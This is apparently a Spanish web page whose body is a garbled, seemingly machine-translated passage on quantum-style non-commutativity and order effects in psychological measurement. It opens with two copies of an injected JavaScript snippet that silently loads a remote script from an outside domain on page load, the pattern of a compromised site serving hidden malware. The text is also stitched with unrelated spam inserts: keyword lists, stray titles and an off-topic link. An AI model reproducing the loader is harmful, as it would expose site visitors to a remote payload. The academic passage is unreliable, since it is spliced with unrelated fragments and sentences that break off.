;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); En un modelo espacial de Hilbert de dimensión finita

En un modelo espacial de Hilbert de dimensión finita

Counsellor vs psychologist - Open Universities AustraliaLas mediciones secuenciales de observables que no conmutan producen efectos de orden que son bien conocidos en la – narcisistas encubiertos – física cuántica. Pero su base conceptual, una interacción de medición significativa, es relevante para situaciones mucho más generales. Argumentamos que la no conmutatividad es omnipresente en psicología, donde casi cada interacción con un sistema mental cambia ese sistema de una manera incontrolable. Los efectos de orden psicológico para mediciones secuenciales son, por lo tanto, de esperar como regla general. En este artículo nos centramos en la base teórica de tales efectos. Clasificamos teóricamente varias familias de efectos de orden, las relacionamos con observaciones psicológicas y predecimos efectos aún por descubrir empíricamente. Evaluamos la complejidad, relacionada con el poder predictivo, de modelos particulares (espacio de Hilbert) de efectos de orden y discutimos las posibles limitaciones de tales modelos. En la física básica, los observables se presentan en pares canónicamente conjugados, como la posición y el momento, que exhiben principios de invariancia y leyes de conservación bien definidos. A diferencia de la física, no hay pares de observables canónicamente conjugados.

woman, face, bullying, stress, shame, be ashamed, hide, hopelessness, head, identity, search M puede contener cualquier pregunta que uno desee elegir como observables, para ser medidas en términos de respuestas como resultados de medición. S. (Esta breve discusión ignora que la medición también afecta el estado del dispositivo de medición. En física, la distinción de interacciones débiles y fuertes es un criterio importante para delinear los sistemas clásicos de los sistemas cuánticos. Además, las mediciones cuánticas, en contraste con las clásicas medidas – no son simplemente registros de hechos preexistentes, sino que también "establecen" el hecho que se registra. La característica clave de esta distinción clásica-cuántica está codificada matemáticamente en términos de conmutatividad o no conmutatividad, respectivamente, de observables. En física, el comportamiento medido de un sistema se denomina clásico en el primer caso, mientras que el último caso se refiere al comportamiento cuántico. Desde esta perspectiva, la teoría cuántica puede verse como una teoría general de sistemas de observables tanto conmutativos como no conmutativos, y la física clásica se restringe al caso especial de observables conmutativos solamente (cf. Siempre que la secuencia de interacciones de medición sucesivas entre un dispositivo de medición y un sistema medido hace una diferencia para el resultado final, las medidas no son conmutativas.

Pero hay un buen número de fenómenos psicológicos que muestran rasgos claros de tal enfoque.

Se debe esperar que muchos sistemas complejos exhiban propiedades no conmutativas en este sentido. En psicología, donde prácticamente cada interacción de un dispositivo de "medición" con un estado mental "medido" cambia ese estado de manera incontrolable y donde los estados mentales a menudo se establecen literalmente mediante mediciones, es muy plausible argumentar que la no conmutatividad debería ser la regla ubicua.. Tradicionalmente, la psicología no ha considerado sus observaciones como debidas a efectos de observables no conmutativos a lo largo de su historia. Pero hay un buen número de fenómenos psicológicos que muestran rasgos claros de tal enfoque. Algunos de ellos, que se han trabajado en los últimos años, son los procesos de decisión (o juicio), las asociaciones semánticas, la percepción biestable, el aprendizaje y los efectos de orden en los cuestionarios.111 Para más detalles y referencias, consulte la revisión de Atmanspacher (2011), que destaca esta línea de pensamiento en la Sec. 4.7. Las ideas para comprender la conciencia en términos de procesos cuánticos reales en el cerebro, también revisadas en el mismo artículo, difieren por completo del enfoque aplicado aquí.

Cabe señalar en este punto que los modelos desarrollados en las áreas mencionadas no están todos explícitamente basados ​​en observables no conmutables. Presentan varios conceptos relacionados, como incompatibilidad, complementariedad, entrelazamiento, lógica booleana parcial, estados dispersivos, probabilidad cuántica, relaciones de incertidumbre, etc. Sin embargo, estos conceptos tienen estrechas relaciones formales con la propiedad de no conmutatividad y sus ramificaciones (cf. A particular uno de los fenómenos psicológicos mencionados anteriormente se aborda de manera más ilustrativa en términos de operaciones de no conmutación: el fenómeno de los efectos de orden. Estos efectos obviamente se refieren a la no conmutatividad porque están gobernados por ella casi literalmente. Los psicólogos conocen bien tales efectos, también se les llama efectos de secuencia o efectos de contexto.Una (https://www.blogdepsicologia.com/una-de-cada-cinco-personas-duerme-con-los-ojos-abiertos/) lista (incompleta) de libros de texto y reseñas sobre el tema, que muestra su historia bastante larga, es Sudman y Bradburn (1974), Schumann y Presser (1981), Schwarz y Sudman (1992)., Hogarth y Einhorn (1992), Sudman, Bradburn y Schwarz (1996), Tourangeau, Rips y Rasinski (2000). Sin embargo, los modelos propuestos para describir los efectos de orden siempre se han enmarcado de forma clásica (p. ej., procesos de Markov, actualización bayesiana, etc.).

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